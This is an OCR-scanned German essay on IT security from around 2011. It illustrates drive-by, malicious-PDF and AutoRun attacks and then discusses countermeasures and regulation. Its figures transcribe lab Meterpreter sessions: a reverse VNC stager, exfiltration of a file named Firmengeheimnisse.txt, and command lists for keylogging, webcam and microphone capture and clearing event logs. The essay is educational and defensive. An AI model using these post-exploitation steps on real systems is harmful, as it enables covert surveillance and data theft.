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Abstract: Anhand der aktuellen
Sicherheits-Situation werden die Be-
griffe “Sicherheit” und “Unsicherheit”
diskutiert, und durch drei Beispielen fiir
Unsicherheit exemplarisch aufgezeigt.
Der Umgang mit Unsicherheit wird
mit Hilfe von von praktischen Gegen-
mafinahmen aufgezeigt. Im Fazit wird
geschlossen dafs Sicherheit nicht alleine
durch eine rein technologische Losung
herbeigefiihrt werden kann.

Einleitung

Laut dem diesjdhrigen “Symantec Inter-
net Security Threat” Report ist Deutsch-
land der bevorzugte Logistikstandort fiir
Cyberkriminelle, und von der florieren-
den Schattenwirtschaft ist Spam noch
das kleinste Ubel!, jedoch trotzdem mit
entsprechender Reaktion?34.

Diese und viele dhnliche Nachrichten
lie3t der Interessierte tagtdglich, in vari-

Symantec Corp. (2011)
Heise Security (2011b)
Computerwoche (2011)
Spiegel Online (2011)
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ierender Detail- und Emotionstiefe. Doch
was bedeutet dies fiir den einzelnen
Anwender? Er ist bedroht durch vie-
le schreckliche Dinge, aber wie konkret
sieht dies fiir ihn aus? Fiir ihn, und auch
fur den bosen Angreifer, der seinen Rech-
ner kompromittiert und in einen Zombie
verwandelt der dann als Teil eines Bot-
Netzes agiert? Wahrend die “Cloud” mit
Firmen wie Sony5 und Amazon®”’ in al-
ler Munde ist, weifs man selbst herzlich
wenig von dem was eigentlich der eige-
ne Rechner so treibt.

Jeder kennt die Situation, dafs man beim
Surfen im Web schnell von der digitalen
Autobahn auf die Landstrafle gerat, und
von dort im Rotlichtmillieu landet. Aus-
reichend Stammtischgeschichten von fie-
sen Mitbringseln aus eben diesem schre-
cken zwar vermeintlich ab, aber was ge-
schieht im digitalen Detail?

Nach einer Diskussion der Begriffe “Si-
cherheit” bzw. “Unsicherheit” wird im
Folgenden an drei Beispielen gezeigt
wie man Opfer eines Hacking-" Angriffs”

5 Heise Online (2011)
6 ZDNet (2011)
7  Financial Times Deutschland (2011)
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wird (wobei hier eher das Passiv zu ge-
brauchen ist, da in allen Fillen die Pro-
bleme erst durch Aktionen des Benut-
zers verursacht werden, er sich also qua-
si selbst ans Messer liefert), wie sich
dies fiir den vermeintlichen Angreifer
darstellt, und auch welche Gegenmafs-
nahmen v.a. im Firmenumfeld wirksam
sind.

Definition

Akademisch betrachtet existiert eine
Vielzahl von Definitionen fiir den Be-
griff “Sicherheit”. Werner Poguntke
sieht IT-Sicherheit als den Schutz von
Informationen und Kommunikations-
systemen!. Die Norm ISO/IEC 61508
fur elektrische, elektronische und pro-
grammierbare elektronische (E/E/PE)
Systeme spricht von einer “Freiheit von
unvertretbaren Risiken”?, und Man-
fred Bromba definiert “Sicherheit := 1 -
Risiko™3.

Der im Zusammenhang mit Sicherheit
immer auftauchende Begriff des “Risi-
kos” stammt urspriinglich vom griechi-
schen Wort fiir “Gefahr”4, und ist somit
naturgemdfs mit negativen Ereignissen
verbunden. Oft wird “Risiko” auch tiber
die Eintritts-Wahrscheinlichkeit solch ne-
gativer Ereignisse bestimmt.

Sicherheit ist also verbunden mit negati-
ven Ereignissen. Als Gegenteil ist “Unsi-
cherheit” die Negation von Sicherheit, al-
so die Abwesenheit von Sicherheit bzw.
wird Unsicherheit durch das Vorhanden-

Poguntke (2010) S. 4

2 ISO 61508 - Functional Safety of Electri-
cal/Electronic/Programmable Electronic
Safety-related Systems (1986)

3 Bromba (2011)
4  Wikipedia (2011c) “Risiko”

sein negativer Ereignisse oder solche aus-
losender Faktoren bestimmt. Oder eben,
daff die Wahrscheinlichkeit, daf3 etwas
Negatives eintrifft, relativ hoch ist. Im
Umkehrschluf fiithrt also die Existenz ne-
gativer Aspekte zu einem Zustand der
Unsicherheit, dem durch MafSnahmen
gegen diese Aspekte begegnet werden
kann.

Unsicherheit an drei Beispielen

Nach der allgemein und abstrakt ge-
haltenen Definition von Sicherheit bzw.
Unsicherheit, von negativen Aspekten
und Gegenmafinahmen hier im Folgen-
den drei konkrete Beispiele.

Stolperfalle beim Websurfen — Web
DriveBy

Eingangs wurde das Bild des digitalen
Rotlichtmillieus benutzt. In der Praxis
mufl die Umgebung nicht in rétliche To-
ne getaucht sein, damit man sich beim
Surfen im Web Probleme zuzieht. Auch
Foren, manipulierte oder extra in hin-
terlistiger Absicht aufgesetzte Webseiten
mit vermeintlich gutgemeinten Inhalten
konnen beim Surfen Daten an den Web-
browser liefern, die dieser nicht korrekt
verarbeiten kann. Als Folge von Buffer
Overflows und &hnlichen Defekten in
Anwendungen kann so ohne dem Zutun
des Benutzers Schadcode geladen wer-
den, der dann sein Werk verrichtet.

Die Abbildungen zeigen hier exempla-
risch eine Browser-Sitzung, die auf eine
speziell praparierte Webseite surft (sie-
he Abbildung 1). Dort angelangt ver-
schluckt sich der Browser, baut eine Ver-
bindung zum wartenden Angreifer auf
und 14dt Schadcode nach, der sich auf
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€ Die Webseite kann nicht angezeigt werden. - Window... | = || &
£ 192.168.56.102 +[2 ] x ][ 2 8ing p
Favoriten 192168.56.102 Eingabe
@ Die Webseite kann nicht T S I
“ Die Webseite kann nicht angezeiat wer
-
&P Internet | Geschiitzter Modus: Aktiv v ®100% ~

Abbildung 1: Ansurfen einer préiparier-
ten Webseite

Sending stage (749056 bytes) to 192.168.56.101
Meterpreter session 3 opened (192.168.56.102: 4444
Session ID 2 (192,168.56.102: 4444 -» 192.168.56. 14

Current server process: iexplore.exe (284)
Spmswning a notepad.exe host process. ..
Migrating into process ID 3844

New server process: notepad.exe (3844)

Abbildung 2: Laden von Schadcode

msf exploit( t) > sessions -i 8
Starting interaction with 8...

meterpreter > run vnc -r 192.168.56.102
Creating a VNC reverse tcp stager: LHOST=192.168.56.102 LPORT=4545)
Running payload handler
VNC stager executable 73802 bytes long

Uploaded the VNC agent to C:\Users\vadmin\AppData\Local\Temp\Low\MFO}
leted manually)

Executing the VNC agent with endpoint 192.168.56.102: 4585w,
meterpreter > VNC Server session 9 opened (192.168.56+102:4545 -> 10
on Apr 11 1
SRS |  hitp://192.168.56.102/EUQHG.html - Windows Internet Explorer
Enabling Tid

UG - e

Favoriten e v e hd

192168.56.102 - 4| X

Bl @ nitp://192.168.56.102/EUQMG.html BB - o=

Using shareq
Same maching

Abbildung 3: Ausspionieren des Opfers

dem Opfer des Rechners als vermeint-
lich harmloser Texteditor “Notepad.exe”
tarnt, wie in Abbildung 2 zu sehen ist.
In Wahrheit kann durch diesen Schadco-
de alles Mogliche geschehen - z.B. wie in
der Grafik gezeigt ein Ausspionieren des
Opfer-Rechners mittels Remote Terminal
Sitzung (VNC, siehe Abbildung 3).

Das Beispiel des Programmierfehlers der
durch einen sogenannten “Exploit” aus-
genutzt werden kann existiert in der
Praxis mannigfaltig. Programme kon-
nen dabei neben Webbrowsern auch E-
Mail Clients'?3 und Server*®® eben-
so wie Spiele’ und vermeintliche Spie-
le® sein. Dariiber hinaus bieten na-
tiirlich auch Infrastruktur-Komponenten
wie Flash?, Betriebssysteme oder Fra-
meworks zum Erstellen von Webseiten
ebenso Schwachstellen wie spezifische
technische Anwendungen. Die Liste laft
sich beliebig fortsetzen, es sei hier ledig-
lich auf die bekannten Ressourcen wie
Full Disclosure, Bugtraq und CERT ver-
wiesen.

Unter’'m Strich ist also die Unsicherheit
gros. Welche Mafinahmen konnen zur
Erreichung eines Zustandes der Sicher-
heit ergriffen werden? Der versierte IT-
Anwender wird im oben genannten Bei-
spiel des Internet Drive-Bys aus seiner
Erfahrung sofort wissen daff ein loka-
ler Virenscanner mit aktuellen Patterns
ebenso hilft wie aktuelle Patches nicht

SecurityFocus (2000) (pine)

Exploit DB (2004) (gaucho)

SecurityFocus (2009) (sylpheed)

Heise Security (2011a) (IMail)

CheckPoint (2011) (exim)

Microsoft TechNet (2011) (Microsoft Exchange)
Gentoo Linux (2011) (Quake 3)

GamesRadar (2011) (Fake Angry Birds)

Lilly (2011)
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nur fiir das Betriebssystem, sondern auch
den Webbrowser.

Wiéhrend der Heimanwender damit gut
bedient ist, warten im Firmenumfeld
weitere Herausforderungen: Wo der Hei-
manwender einen (1) Browser aktuell
halten mufs ist dies im Firmenumfeld
komplexer. Mit Internet Explorer, Mozil-
la Firefox, Google Chrome und einer lan-
gen Liste weiterer Browser hat der IT-
Admin hier ein grofieres Feld zu bea-
ckern. Wenn er dies nicht will oder man-
gels Zeit nicht kann sollte er sich tiberle-
gen, welchen Webbrowser er seinen Be-
nutzern ans Herzen legt — und welche er
ihnen vielleicht rundweg verbietet, um
die Sicherheit des Unternehmens nicht
zu gefdhrden. Entsprechende Richtlini-
en sollten hier in Form von Sicherheits-
Policies mit der Unternehmensleitung
abgestimmt werden.

Ebenso sollte die Software-Benutzung,
so sie denn empfehlungsgemdfs regle-
mentiert ist, auch entsprechend regel-
méfsig tiberwacht werden. Mag der Be-
trieb eines Informationssicherheitsmana-
gementsystems (ISMS) nach ISO 27001
hier noch mit Kanonen auf Spatzen ge-
schossen sein (vgl. ISO 27001, A.10.4.1:
Mafinahmen gegen Schadsoftware), so
ist dennoch zu erwarten, daf$ in Zukunft
selbst bei Steuerpriifungen nachgefragt
wird, welche technischen und organisa-
torischen Mafsnahmen im Unternehmen
existieren, um eben die Sicherheit der
Unternehmenswerte zu gewahrleisten.

Beim Virenschutz ergibt sich ein &hn-
liches Problemfeld: vor allen in we-
nig IT-Affinen Geschiftsbereichen kann
der mittdgliche Virenscan die Literatur
der Bild-Zeitung empfindlich beeintréch-
tigen, und was liegt ndher als den Scan
hier zu deaktivieren? Daf§ der Anwen-
der hier andere Prioritdten setzt als der

Administrator liegt auf der Hand, letz-
terer sollte sich hier tiber ein zentral
gesteuertes Anti-Viren-Management Ge-
danken machen, das dem Benutzer am
Rechner genau diesen Handlungsspiel-
raum im Sinne der Unternehmenssicher-
heit verringert.

Generell sollte man sich im Firmenum-
feld iiber das, was der Heimanwender
auf einem (1) Rechner an Sicherungs-
mafinahmen macht, {iberlegen, dies zen-
tral vorzuhalten, um Schlupflécher und
Wartungsaufwand zu minimieren. Nen-
nenswert sind hier Firewalls und zen-
trale Virenscanner an Web- und Mailfil-
tern. Bei Webfiltern sollte bedacht wer-
den daB aktuell mehr und mehr Websei-
ten via HTTPS verschliisselt iibertragen
werden, und ein entsprechendes SSL-
Scanning verfiigbar sein sollte!. Selbst-
verstandlich sollte die Wirksamkeit der
Systeme auch durch regelméafiige Kon-
trolle der (anonymisierten!) Protokolle si-
chergestellt werden.

In diesem Beispiel hitten also auch Poli-
cies gegen Surfen auf fragwiirdigen Sei-
ten, ein zentrale Webfilter mit Sperrung
entsprechender Kategorien und eine zen-
trale Software-Freigabe die Unsicherheit
beim Websurfen wesentlich verringern
konnen.

Vorsicht bei E-Mail-Attachments — PDF
Exploit

Im nédchsten Beispiel versetzen wir uns
in die Situation eines Personalbearbei-
ters, der eine Bewerbung per E-Mail er-
halten hat. Aus dem E-Mail-Programm
heraus kann der PDF-Anhang mittels ei-
nes Programms zur Anzeige von PDF-
Dateien angezeigt werden. Auch dieses

1  Wikipedia (2011e) “SSL-Scanning”
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E 9 Betreff Empfanger ) Datum ®
# Antworten | ~ | 4 Weiterleiten | | &) Archivieren Junk | | X Léschen
Thnen
Bewerbungsunterlagen 14:51
Max Mustermann Andere Aktionen -
Dies ist ein Nachrichten-Entwurf | Bearbeiten...

anbei meine Bewerbungsunterlagen

=) Bewerbungsunterlagen.pdf

Abbildung 4: E-Mail
Attachment

mit PDF-

Offnen von Bewerbungsunterlagen.pdf

Sie méchten folgende Datei herunterladen:
= Bewerbungsunterlagen.pdf

Vom Typ: Adobe Acrobat Document
Von: mailbox://

Wie soll Thunderbird mit dieser Datei verfahren?

Offnen mit | Adobe Reader 9.3 (Standard) v

o Datei speichem

Edr Dateien dieses Typs immer diese Aktion ausfihren

OK Abbrechen

Abbildung 5: PDF-Viewer starten

Programm wiederum kann sich an der
PDF-Datei “verschlucken” wenn es ent-
sprechend préparierte (PDF-)Daten er-
halt.

Die Abbildungen 4 und 5 zeigt den Ein-
gang der E-Mail, das Starten eines PDF-
Betrachters sowie erneut den Aufbau der
Verbindung vom Opfer zum Angreifer,
gefolgt vom Nachladen des Schadcodes
auf den Opferrechner. Der Schadcode
tarnt sich wiederum als Texteditor, und
in den Abbildungen 6 bis 9 ist zu se-
hen welche weiteren Moglichkeiten ne-
ben einer Remote Terminal Sitzung exis-

Sesmst exploit(
Starting interaction with 1...

Papierkorb

7

meterpreter > getuid

Server username: opfer\vadmin
meterpreter > cd c:/users/vadmin/Desktop
meterpreter > mkdir neues_Ver:

Mozila Thundetbird

Creating directory: neues_Verze

meterpreter > upload neue Datef .t
uploading : neue Datei.txt -
uploaded neue Datei.txt -> neue Datei.txt

meterpreter > download Firmengeheimnisse.txt
downloading: Firmengeheimnisse.txt -> Firmengeheimnisse.
downloaded : Firmengeheimniss Firmengeheimniss

meterpreter > ||

neue_Datei.txt

ks Wil

i i

Abbildung 6: Manipulieren des Opfers

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

del Delete the specified file
download Download a file or directory
edit Edit a file

getlwd Print local working directory
getwd Print working directory

led Change local working directory
1pwd Print local working directory
1s List files

mkdir Make directory

pwd Print working directory

rm Delete the specified file
rmdir Remove directory

search Search for files

upload Upload a file or directory

Abbildung 7: Befehle zur Manipulation
des Dateisystem

Command Description

ipconfig Display interfaces

portfud Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description

clearev Clear the event log

drop_token  Relinquishes any active impersonation token.
execute Execute a command

getpid Get the current process identifier

getprivs Get as many privileges as possible

getuid Get the user that the server is running as

kill Terminate a process

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as 0S

Abbildung 8: Befehle zur Manipulation
von Netzwerk und System
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Stdapi: User interface Commands

enumdesktops  List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle
keyscan_dump  Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop  Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

record_mic  Record audio from the default microphone for X seconds
webcam list  List webcams
webcam_snap ~ Take a snapshot from the specified webcam

Abbildung 9: Befehle fiir Keylogger,
Screenshots und Webcam

tieren:

Das Dateisystem des Opfers kann belie-
big ausgespéht werden, Dateien und Da-
ten geladen und ggf. nach Manipulati-
on wieder hochgeladen werden. Neben
Manipulation des Dateisystems auf dem
Opfer-Rechner kann auch die Netzwerk-
und System-Konfiguration sowohl aus-
gelesen als auch manipuliert werden.
Wem dies noch nicht reicht der sei auch
auf die Moglichkeiten hingewiesen, dafs
von einer vorhandenen Webcam ebenso
Fotos gemacht werden konnen wie vom
Bildschirm des Rechners, und selbstver-
standlich kann auch das Mikrofon des
Rechners remote angeschaltet werden.
Wiéhrend ein schlauer Angreifer nicht
durch einen unbedachten Neustart des
Systems auf sich aufmerksam macht!
steht dem passiven Belauschen von Un-
terhaltungen im Raum nichts im Weg!

Die Unsicherheit in diesem Fall ist diesel-
be, doch wie kann ihr begegnet werden?
Patchen einer Uberschaubaren Anzahl
von Mailreadern und PDF-Betrachtern in
Verbindung mit entsprechenden Firmen-
Richtlinien wurde bereits ebenso the-
matisiert wie Virenschutz auf Mail-
Gateways und Firewall-Systemen, die

1 Dang und Ferrie (2010)

die Verbindung zwischen Opfer und An-
greifer blockieren konnen. Letztendlich
bleibt die Schwachstelle Mensch, die sich
auch hier der Gefahren bewufst sein soll-
te - Phishing-Nachrichten tiberschwem-
men uns heute in der Spam-Flut, und
eben hier muf3 ein Bewusstsein geschaf-
fen werden, welches Gefahrenpotential
hier lauert?. Reden Sie mal mit Ihren Kol-
legen dartiber!

Umgang mit mobilen Datentrigern -
CD AutoRun

Das letzte Beispiel zeigt als Angriffsvek-
tor die Verteilung von vorbereiteten CDs
und USB Sticks, in Zusammenhang mit
dem Verhalten eines giangigen Betriebs-
systemes. Dieses will beim Einlegen des
Datentrdgers den Benutzer unterstiitzen,
damit dieser leicht an die ihm (vermeint-
lich) vorliegenden neuen Kundendaten
gerdt. Da der Benutzer die IT-Landschaft
beobachtet weif er, daf3 ein Klick auf den
ersten Punkt “Kundendaten 6¢ffnen” wie
auch beschrieben ein eventuell vorhan-
denes Programm installieren oder aus-
fihren wiirde. Entsprechend wird er wie
in Abbildung 10 gezeigt mit einem Klick
rechts-oben das Fenster schliefSen, und
wie in Abbildung 11 im Windows Exlorer
auf das Gerdt zugreifen. Das benutzer-
freundliche Betriebssystem wird jedoch
auch hier das hinterlegte Programm per
AutoRun starten, und der vorliegende
Schadcode wird direkt ausgefiihrt. Ein
Angreifer kann so ohne sich auf Sicher-
heitsliicken zu verlassen jeden beliebigen
Programmcode auf dem Rechner des Op-
fers ausfiihren, mit Sicherheitsfolgen wie
etwa oben aufgezeigt.

In diesem Beispiel war der Benutzer be-

2 SPAMfighter (2011)
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CD-Laufwerk (D:) Neue Kundendaten

- Automatischeredergabei

v
Immer fur Software und Spiele durchfuhren:

Programm installieren oder ausfihren

Kundendaten 6ffnen

—
Allgemeine Optionen

Ordner 6ffnen, um Dateien anzuzeigen

Abbildung 10: Fenster mit Vorschldgen
zum Offnen am besten
schlieflen

Favoriten 4 Festplatten (1)

Bl Desktop Lokaler Datentrager (C:)

&
v 134GB
4 Gerate mit Wechselmedien (1

CD-Laufwerk (D:) Neue
Kundendaten

& Downloads
Zuletzt besucht

Bibliotheken

=/ Bilder

¢—

=

<| Dokumente

Abbildung 11: Offnen im Explorer star-
tet  Autorun-Programm
ebenfalls!

reits durch seine Erfahrung vorgeprigt,
die Erfolgsquote bei diversen vor meh-
reren Firmentoren “verlorenen” USB-
Sticks liegt laut aktueller Studien bei
600/01’2.

Abhilfe gegen dieses Einfallstor liefern
in forderster Front Anti-Viren-Software
und Firewalls mit der Blockung aus-
gehender Verbindungen ebenso wie die
Schulung aller Mitarbeiter. Dariiber hin-
aus sollten auch Richtlinien bedacht
werden, die die Benutzung mobiler
Datentrdger regeln (die beste Firewall
hilft nichts, wenn Viren durch priva-
te USB-Sticks/Festplatten eingeschleust
werden).

Umgang mit Unsicherheit

Die vorangegangenen Abschnitte haben
eine Auswahl von Schwachstellen auf-
gezeigt, liber die Anwender und Sys-
teme bedroht sind. Mogliche technische
und organisatorische Mafsnahmen, die
der aus den Angriffen resultierenden
Schwachstellen begegnen, wurden kurz
diskutiert, und sollen hier gesammelt
dargestellt werden.

Technische Mafinahmen

Auf jeden Fall zu betrachten ist das
Thema “Endpoint Security” - Anti-Viren
Software und Firewalls blockieren An-
griffe ebenso wie Patches und aktuelle
Betriebssysteme®-*.

Sind mehrere Rechner zu schiitzen, so

Sawers (2011)
Edwards, Kharif und Riley (2011)
Iyengar, Sachdev und Raja (2007)

Wikipedia (2011a) “Comparison of Operating
Systems”
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bietet es sich an, auch an den Zu-
gangspunkten zum Netz entsprechende
Schutzmafinahmen zu errichten, und Fi-
rewalls! sowie Filter fiir Web?> und E-
Mail® mit Virenschutz zu installieren. Fiir
den gesicherten Zugang zum Firmennetz
von aufien sollten speziell abgesicherte
Remote Access und Virtual Private Net-
work (VPN) Systeme wie z.B. IPsec VPN
Clients eingesetzt werden®.

Die Liste der auf dem Markt verfiibaren
Losungen ist hier lang, und soll an dieser
Stelle nicht ndher ausgefiihrt werden.

Organisatorische Mainahmen

In den bisherigen Ausfithrungen wur-
de ebenfalls erwihnt, dafd Sicherheit kein
rein technisches Problem ist. Ob der
Vielzahl von Webbrowsern, Betriebssys-
temen, Anwendungsprogrammen und
nicht zuletzt Benutzerverhalten bietet
sich hier die Einschrankung durch Regu-
lierung an. In der Praxis existieren be-
reits eine Reihe solcher Regulierungen in
Form von “Best Practices”, Empfehlun-
gen und Vorschriften bis hin zu Geset-
zen.

Wo das Handelsgesetzbuch noch vage
von den Pflichten der Geschiftsfithrung
als denen eines “ordentlichen Kaufman-
nes” spricht °, so geht etwa das Bun-
desdatenschutzgesetz hier schon wei-
ter. Es bestimmt, daf3 sich tiber die rei-
ne Technik hinaus auch Gedanken ge-
macht wird, wie der physikalische Zu-
gang zu Datenverarbeitungseinrichtun-
gen geschieht, und wie Transport bzw.

Strobel (2003)

Ferrari und Thuraisingham (2005) S. 112ff
Schneier (1995)

Wikipedia (2011f) “Virtual Private Network”
Bundesministerium der Justiz (2011) §86 HGB

U = W N =

Weitergabe von Daten organisiert und
abgesichert werden®.

Die im Gesetz recht allgemein ge-
haltenen “Technischen und Organisa-
torischen Mafinahmen” koénnen Stand
heute mit freiem Spielraum umgesetzt
werden. Nationale Vorgaben wie der
“IT-Grundschutz” des Bundesamtes fiir
Sicherheit in der Informationstechnik
(BSI) mit seinen sehr umfangreichen
Grundschutz-Katalogen’, vergleichbaren
Empfehlungen der “800 Series”® des
NIST Computer Security Resource Cen-
ter in den USA und internationale Stan-
dards wie die “IT Infrastructure Libra-
ry” (ITIL)’ unterstiitzen hier mit Emp-
fehlungen und “Best Practices”. Stan-
dardisierte Managementsysteme fiir IT-
Service Management!” und Informati-
onssicherheit!! kénnen zudem hinzuge-
zogen werden, um die Umsetzung der
Empfehlungen zu kontrollieren, und da-
mit die Standards fiir Qualitit und Si-

cherheit in Unternehmen zu setzen!2.

Es ist abzusehen dafi hier in Zukunft
auch von Seiten der Gesetzgeber weite-
re Vorschriften kommen. Das Bundesda-
tenschutzgesetz ist hier ein federfiihren-
des Beispiel was den Schutz personenbe-
zogener Daten betrifft, auch im interna-
tionalen Vergleich. Weitere Beispiele exis-
tieren mit Vorschriften wie Basel II mit
seinem vorgeschriebenen Risikomanage-

6 Bundesministerium der Justiz (2009) Anlage zu
§9 Satz 1 BDSG

7  Bundesamt fiir Sicherheit in der Informations-
technik (2011)

8 National Institute of Standards and Technology
(2011)

9 APM Group Ltd. (2011) (ITIL)
10 ISO/IEC (2005a) (ISO 20000)
11 ISO/IEC (2005b) (ISO 27000)

12 Bayrisches Staatsministerium fiir Wirtschaft,
Infrastruktur, Verkehr und Technologie (2011)
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ment, und auch US-Gesetzen wie der
Sarbanes Oxley Act (SOX)' und der He-
alth Insurance Portability and Accounta-
bility Act (HIPPA)?.

Um der wachsenden Anzahl gesetzlicher
Auflagen der einzelnen Bereiche Herr
zu werden etablieren sich hier weitere
Standards, um diese Bereiche zu priifen
und zu tiberwachen. Stellvertretend sei-
en hier die “Control Objectives for In-
formation and related Technology” (CO-
BIT) fiir den gesamte Bereich der IT-
Governance genannt’.

Weitere Mafinahmen

Neben den bisher besprochenen techni-
schen und organisatorischen Dimensio-
nen ist “Sicherheit” noch wesentlich wei-
ter fafSbar. Im Wesentlichen sind damit
auch Begriffe wie “Angst”, “Risiko” und
“Schutz” verbunden. Diese konnen auch
aus psychologischer Sicht betrachtet wer-
den, stellvertretend sei hier auf Stefan
Schumacher 2011 und weitere Veroffent-
lichungen von Stefan Schumacher der
Universitdt Magdeburg verwiesen.

Im politischen Raum spielt nicht nur die
Gesetzgebung im nationalen Raum wie
oben diskutiert eine Rolle, auch interna-
tional definiert hier die Sicherheitspoli-
tik Verhalten und Aktionen. Dies ist ne-
ben der nationalen Ebene auch bei Ge-
meinschaften wie der Europédischen Uni-
on zu beobachten, wie Jan Meine in sei-
nem Essay “Die Europdische Sicherheits-
strategie 2003 — Europas Versuch einer
Positionierung als eigenstandiger sicher-
heitspolitischer Akteur” beschreibt?.

Wikipedia (2011d) “SOX”

Wikipedia (2011b) “HIPPA”

Audit und Association (2011) (COBIT)
Jan W. Meine (2011)

= W N =

Fazit

Der vorliegende Text zeigt, daf3 Sicher-
heit ein weites Feld ist, und weit iiber den
Bereich der rein technischen MafSnah-
men hinausgeht. Organisation bildet ei-
ne wichtige Rolle, und wird zunehmend
wichtiger um Auflagen von Gesetzge-
bern und Branchen nachzukommen.

Im Bundesdatenschutzgesetz ist heute
bereits ein Datenschutzbeauftragter zum
Schutz von personenbezogenen Daten
vorschreibt. Es ist zu erwarten, daf3 der
Gesetzgeber hier in Zukunft eine dhn-
liche Institution bestimmen wird, deren
Aufgabe der Umgang mit Unsicherheit
aller Art sein wird.
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